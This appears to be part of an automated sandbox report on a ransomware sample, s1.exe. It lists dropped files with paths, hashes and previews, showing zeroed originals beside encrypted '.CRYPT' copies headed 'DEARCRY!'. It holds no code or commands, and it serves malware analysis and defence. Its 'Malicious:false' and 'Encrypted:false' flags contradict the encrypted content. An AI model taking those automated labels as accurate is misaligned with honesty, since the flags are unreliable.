                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\1659a225-428e-84f0-ba52-5fb2b85d55b3.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3832
                                                              Entropy (8bit):7.948213029371393
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:5AF1B7F652C25742E70DA0F1C53B446A
                                                              SHA1:FC9F4AB9CE7BFE31B0EF92ECD1F6BD4F082AA991
                                                              SHA-256:A50F32613D891B401439100EA199637BA296B007F80A8199B0E27343C15CC29B
                                                              SHA-512:7FAF8D0C6245156DA2966EC1E2783424F7AF5B28021EFD789A71E412B4CC13B6374A6E0405082080033931FA3FE52B3A8FEE120A758623E172689B289A5B453F
                                                              Malicious:false
                                                              Preview: DEARCRY!....._m....N..:..s ...L.x..G"=A..$Q...Fy..p....9...qT,.i.....Ko.Q...-.!.|.$Ew..?.E.......W.......bD..y....?a..x@@..N..Cnt...ffMAB_lv<$(..8#..(.."fU.c..?wo.......~(.d..2/......$....J......j[..p...X5.8.{N.X.H..CL..X...V.......aQ.%@5.sb.h........W.............__...:>......J.Uy3.........t.w.b....C. 7n....w.....?'..J%..U..&d.,....\..kI.......d...e..7..}.....v&#s.dy...}.=.7.{.6.:..W......++.UL....j7..;h*.*..?$....H.D.].T.$W.........kj.G!.k2.....5.?.U.T\K....._....*.*0.....k@I..P .cF.3..|.L...%.;.1....<G.....'......U.AY..H..g.T..U.=;...! .X..\..O*...x..'.qzW.. .qr.c...hmGG.......[P.T='..B$C..#.k..p...U.l..M%.x..h..qN{.0...:.h .r.. p>....V(..t.P..:f.@Ln....[..m-.4......2...YMs....6:R.......z.)..b:...P{..>XB.\aQ.Td...J..I|.N,.L...Kk....D.k..l..z...U.&.--..S.u`9C.A./q!.7X .....Jg2..-.....2J9.U..B.*.m.U.).....%.v.~....R-...`O:Ch"g.~...O.;..F.JR..._1.....)f..._.&H.wM/[..PXw,].l...8..?..n..3.....|..0p..P..."L.j......~$.Io}m~.q.a3c..k#.3.c.`8c....
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\19fc6b5c-44ec-4584-be50-49c4d98bcb60.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3273
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:20FFEEB0FE4E0C6E5D027AA792E50A1C
                                                              SHA1:75F468AACC6AB64EC101E99679E31FFFD6327E95
                                                              SHA-256:A10ABF8D66BE115FCD3DEDFB3A50E5CDD1C8F1C0A33B65928DD89CF167A87382
                                                              SHA-512:AC8064301C8E7F4B017F7258D0E199FC8738FF3FBAB3CB940507766EEFBEFD56670E6283EF921F925C59FBB75CD899939A0F9AC7920A24A73E701BCAB9A37277
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\19fc6b5c-44ec-4584-be50-49c4d98bcb60.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3560
                                                              Entropy (8bit):7.954697067800906
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:1D96B2BA9829F1BF1A60C25A777F5E11
                                                              SHA1:F9ECD2FC898670B1EECEF2978C5868E75FA5475C
                                                              SHA-256:F82D40514DDD279643B731BF400F7BB260AB597AE1BB89B0460249A6840DCEE9
                                                              SHA-512:648B5495DABE421573173EB74F8169997C04ADDECEC3AF5AFA65CC512E9DF8E7FE261C6DC93036B0CFDF8BDDC77A26B4067DD51FEC005A98124CD5F0D0CCB110
                                                              Malicious:false
                                                              Preview: DEARCRY!.......U..j'...$.S#.B.{....2...x.*g.8./.F.....s.!..g&H.......,.'w...."&.cr.yc~..v%..7ii..'\{.....x...LF...K...>....zJ.*......v.i..k.B....f..'H....TB=...`.?...._3%...S.F.<,..yV...51}Q.}e>.#...,.q...F.%.?,...r.K.}.P....{...-...Vm..V..~......./............./...S#b..vjz..lw..{#.L....R.g..Z....|.QT.I^c.R.|...&..t..3K8."...K..e..M....B.o./..:...q.q~:/..L.....a/u..+.I......@.>...G.?..8.t.?\?z.Ho6...RV.9.z@.W#.[R}Fp.".U.^E..._..`.e...,)....=\5.2..[..:.q..x....L.`...D4..i.K.d.....N.U.oo....M.c/..+D..?J&0.6.%.D..-:.....J..q..:...m........(.@.....hl..QN.|k*./...].y....A.4.Am...i.R.~.A3...:.....O...4_..<I...W.hk.YT....W.....F...z-.;sT....W...-.1.:.Xv... pq....f&.n.....D..aH(u..)T%b...iy......bt-..H..BPX...ld..]...k..Y......v.t..778../.....A._...+..w..P.../._(.t...k.X......3/..f40..G.'.&|;..m?.M..dd...r.k.......P.j.....g..U...|\..~.Z.f...<....Vx....].....V.....>Ru_w{.d.....I9=.{.\...(..).@....ZYIG .q..|.Q....}E..Z&........O.{.....;....Q..@.[Q.
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\1e225998-faa0-5fd4-4db7-5e7686ee3b47.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2636
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:AE849CD811064647CAD9A12678AB014A
                                                              SHA1:6C43EB7941B31F6BDA29F5E0F8CD9A6A6FB2709B
                                                              SHA-256:CE0774A162E8DBA2EFBE810C9C09FAB48D893271132A3E0D477CAC8D70AD7B36
                                                              SHA-512:083CB3A3861D1B30087A23C8B85F109167CEEEFE971F11494098147B66BFF4BF19E89DFA7FA0002CC78B0DD9129D98232CFC691B753961DBB9C6189B62A0D9F1
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\1e225998-faa0-5fd4-4db7-5e7686ee3b47.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2920
                                                              Entropy (8bit):7.937717545564327
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:3135FB674F76DE6D7F67BB278DD41B8F
                                                              SHA1:587D5528683D15F6EF4B23D67E523BAD0307CEDE
                                                              SHA-256:9193B8AFCF118E9987E8D62998298B167D70A3F941ACD11ACD8E79CB887A225F
                                                              SHA-512:90E05FB3DFA8278EA91B64E61BEB3E75A741BCADE879D099BE85AFA32BBF7EE960C3D559F7022B29B015A7887564387C6D2D1E568DC682D181DD882E8C3162F6
                                                              Malicious:false
                                                              Preview: DEARCRY!....J..K88...JE34..|....x#sV.....z^..e^c..N.tX!...D...O.H5..mp....u0.D..#.3]=..Ds.....n.w~.a.>././.i6..c.NM.j..^~..&....5C../.j.$u....{.....!."..c.!.'S..`g...F?M..Ow.S..H..k..M.e..."....?.....E.N[2U.*U.........F$(.g.+....H.te.....w..h"...*#U......L........co.8.K...t...O..U.p...).M.y.q.k.=..}.h.B"l.D....f..jB1.\.%..I..Q....N..I.&..z|S..F.^.Ar!.?.C..........R......P..E..Y.F.,h.=.t....P..W%......1*k9..b8.y..V..D.5].x3.N........Nd...D..1%.RtU.0X+.i8B.k.......[...A../.Q.)...L.xH.n...F_.;.H.....|.J.^.(.....I./.np~.pf.?.Y.......Wt.0n..|..@.3.l`+....C,%... .#9..&fO..b..Z.r.....u.fD.|=.o<.]..."@..?..0i .5[KG..sC.9L.....)..X...Ek.a.O...&.....7...2..".Q.d.J.!.e.)..c4.rT.z9ic.H.f.n0^&.c....Q......4U4QB2.C8.l..y\...89.).Hg.....s.K.t....n.q..GL......k....hsNb..W^._....}).H.:...1..............J......j.Y.!....*.Q.....O.a6..M...`.Oi..$.!9..;P3...\be..B..b8A..i..:^m.P.wQI(.......#.w.._,.....).B.R.Q..`e^.^.].N....}..Qz`...z...$..Y<./l.y@v....|...=...
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\215f9712-9fca-a3f8-5b11-660eefc73b96.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2783
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:98BC8FD19B2281325AFA152514F2987D
                                                              SHA1:B25B85F9DF23D9E53A57DE7C2B1EBF0D9724875E
                                                              SHA-256:A193C2BF9D88E3B1696AB216B8C4320260707F86A0E40F8BC7FC0F030E42AC9A
                                                              SHA-512:5F024E0DAF5957898BA26B4FE5B1D3982900C11F270953C550CC9882F91C83F347B3B1A20197D973B5DF77FE2A8DA576DD3DB29CAC6BC5D4D98B97BF9921A633
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\215f9712-9fca-a3f8-5b11-660eefc73b96.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3064
                                                              Entropy (8bit):7.935121006731576
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:1A23191CEB8EEAC9A42A4CF001BE34B0
                                                              SHA1:9A706C715D1833676A7B0E226D05E64D0C1876C4
                                                              SHA-256:F03708FD3FCA06CDAC4A31F7867D2DB82856C799E624DD07193F74AE37DC8A4C
                                                              SHA-512:88D4929F6DC43CAD50CC778980C18ABD6CAEA2189171988C0E7854FB3E7640ED13C972C4C0E75A69F9C2638535F5E717500B54CB1E3F2AB2E0C2FBAABC5C87C4
                                                              Malicious:false
                                                              Preview: DEARCRY!....m!....._w...>.....~..3.O..}...].(...\.0:.6...9L.\....h..k...mQ.....f6.k.....(.....hr...S...9...CD...............G.0A.b!........v<]..M.5.`rdS.......,n..tj.f......6..:X....B.,...Kur..VJ.(. .`.`.6. V.%.NU.x.....7.....N.K..'.~.l....`..a/.....Z.y............<sl.~I:t.W..[......m.P& d@...9...[..DT./.+.F+.0.cHt...y.^....LT.....?.x.......R....V.x-..TS.+Y.\.`E...........J..cY.o,..`^............G...M5.W..*J.+...,..Tu.By......~...g....M...3.....v.B......7j..N..w..@..A(9\......Z.W....+.vE.b......\w.Z........ry.....z.Gk.b>..Jrs...^,..Z.u..}...Cb?.-.F.........,];.A...l(...T....].S..j..>.....D^G...!9.M#XP.4.}-r....&...._......EC(,] ....l".$}....l...L.=._...Fo.d...:@.*w...5U..`..R.<..I`N.r. .(.} R&....P.....>3...l..._Y.xs.%..EUK_......?..de......*hM;..o#.d./...p.4ZW.0...y.1.l....?..cp?z"3..3....eV..{....+.?.+V ..B>..."...3.....Y3'.....%}. ..q.O......./f........@...De..6........S.##._#...M..I`...].U......1....W.Y..2...gI.M..4....XuYk~...#F.i]. 7..
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\2657f7c0-8294-58c3-f394-15fe18ba174a.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3196
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:FED981E5B1801AFFCB5DB2C5215B1D39
                                                              SHA1:F3E5DD15245E80EC5124FD3BBF917919C2FDEDCB
                                                              SHA-256:A9E0245B7CCC5040FE644213B3468E62D0D0DEE49E5695062CAEFC034FD4F4E5
                                                              SHA-512:3B517E45FB45600CBEB5E46D6EECB856C4FD55B87443DF5F4B5876FC1158E6AF6BFEC69EDEF53F8363F7D9A8D0943673EC9E8BC1819E64D5082F9B6EA83637EE
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\2657f7c0-8294-58c3-f394-15fe18ba174a.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3480
                                                              Entropy (8bit):7.944853287134648
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:741FCD7F8BA6DCBCA023ABE08DB2D4F2
                                                              SHA1:69F24D929B72D170DEAF2735C3C27581AB7A7533
                                                              SHA-256:EE4F31100EED9AA63E9F13E2BCFAD46EFD88A4CFCBB76306EFF44140D94926AA
                                                              SHA-512:6ADC97D02634E92F39233AE8AF761FDB5C43F6F6563B0D403E9577C786D2506A101F7527EEAD9F45FFEB1341545AD5CDC866FEA6DD13B147289303AD93F3B45E
                                                              Malicious:false
                                                              Preview: DEARCRY!.........J....a....[..>...p....nN< ....mE......f..-i..p^...n6X.pu1j.x/Z..Q^P......>..s$....Z...02..gw.[....J.t.@.b;.....Mi.G..#..W^H......^{......T.....7:S.qf.>.$L....#.?..?\I.......b+AsV.......^.Wr....p............a.L.....M#.L...h.:}..[.z ......|........T..C..9..Jd.....j.J..;*.P.O.nhL.? .........9y;....Xp....{..<.jxoaI..w.6....P...*..L.E..b.....I.......1..V...`j.....#.......9.4.....\...pI6kR...[1g5.......eamC..U.0..+.....;.....W.....g(K.>..$._..T>E........l(Xf~6.9;....0q.0..X.y..PH...n......h......f..N..W.0q.v.S...X.G.)(J..%J.x......7.z.b@z...n{..C..|.V.b........In.a.P...]n....>.K.E..V.......~.s...Ku6}.5..K*.#..'.d!^H........\d.Xtt..H..1.?..Tz..}N.~.?4.2..wX...._..?...7..0tWR......vz.Kq.4<~2...E4...+....)......td#].4..=...O.......d.p.........Fh...&.........;x....0.OP.r.2E......i3~+.#'F.xZ...V.....U.Mi...*.[rt.D.......|=.....;bN.N}/......NI...>.......S..Q"."EFI...d*....l.E....(.>......p.\.,....Y...A..av .#..........rA\.
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\26943e1f-42ed-f190-2895-3bc2b8c4176d.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3191
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:FE8FF2F191B5A027A74776DFE183F1F0
                                                              SHA1:0A26FB5D8ED65D8778801D1A622E9982E6442C0E
                                                              SHA-256:696D030979B893A6FF4B1AF630D47300C62605163502AA752388069D8EE34E5A
                                                              SHA-512:CA83D9FB593A447F89ABD63AF86D3327FBA583A06E2E3B3FDA655750A874D10E4816E6885813052B1A6C1E798F75BF2C8F080CC195A390D15ADDC2F77214F030
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\26943e1f-42ed-f190-2895-3bc2b8c4176d.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3480
                                                              Entropy (8bit):7.946147244569386
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:741C5F46A7EC8ACE0D8E3D45C99F6883
                                                              SHA1:7CF1FE4C973338B16DD27A2D1E322E988A640EBF
                                                              SHA-256:100E4C4144D1D9882CEBB7AB17C91BE033D48106281C95C36F4E2585935F416A
                                                              SHA-512:057EDFE8AEC5CABB29ADC8084F92AA2D8A1D58BB34A1C31394AE0D82015528D0D40EB890D4C9910CED81E59B3623551A5844F93805876F93C7115D7A01BFCFDB
                                                              Malicious:false
                                                              Preview: DEARCRY!.....5r...v........k.Wz%}.b.28.-...r....S..8..6.T...&.GW.K.4...G.....y...._...M..4S....(g...^p.(.IR.....y.`..\.Y..!.+j....~..J.M....V..,.v../.8u.u^..S..g..{......&....,.a\..;hzZ/.xm..._5....ZN.4l.......Y..........m....1.zTY ..lYn...3....I....B.....)......w.............3_.f...x.}.....+8`..c.........a.V........zx E..X......K..Dt..hO...>...{6m..z...W[f..f.(.$...M.~.....t..[.!+.eE^..y......<...w..Y ..k....fEd.|.$........ar..!3...d.........4...;...P.&..1.h.}...L..5..q>q.............B!.I.d@D.......&..C<.....y.`H.w>'0...2.ht...BS.*.+...M.\....G..._...X..u<.h....A.M.........@.*.*.E._cE&.Q.K.B/../.]..N..9.@{'L<.....<.=....o..T........q.hS.2..8..'J..tk.f..Uv.F.NIJ.[1z(.3>..y.X....h..h..L....j.P....;uhi:E+...ETOVu...A....T......@..h..|oXd.-......k.??.....1.M..@z.............3F..X.>.Ba.>Oxq.z ..^..%7)9...UH})......7..^.HN...j..".,1.5.^4.p!.k......q..._.l:.r..t...Y.S..W..........|.r...n.>Qqu-..C...7^SH......... .=A-...lc.{.......u...$.....8...U
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\280b97f1-1f94-1458-c842-d18e2d1e05f9.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3549
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:E5911C1B7493515CF6828F7760C9C729
                                                              SHA1:873FD3855E47C271743F84D638A29F218796ACCD
                                                              SHA-256:17460C487CEAF192AAC5381E55C1597A4C1380355473D7BFDCA0973BB18F0713
                                                              SHA-512:EB87796CA99B1808BB898ACE4953D7889FC71C4C49EC4F003323B3273DC95D25E14E4E44FB09042ADE8D27F7FAFEA20D7A3D96C210EFAE01409D1BA21F75B367
                                                              Malicious:false
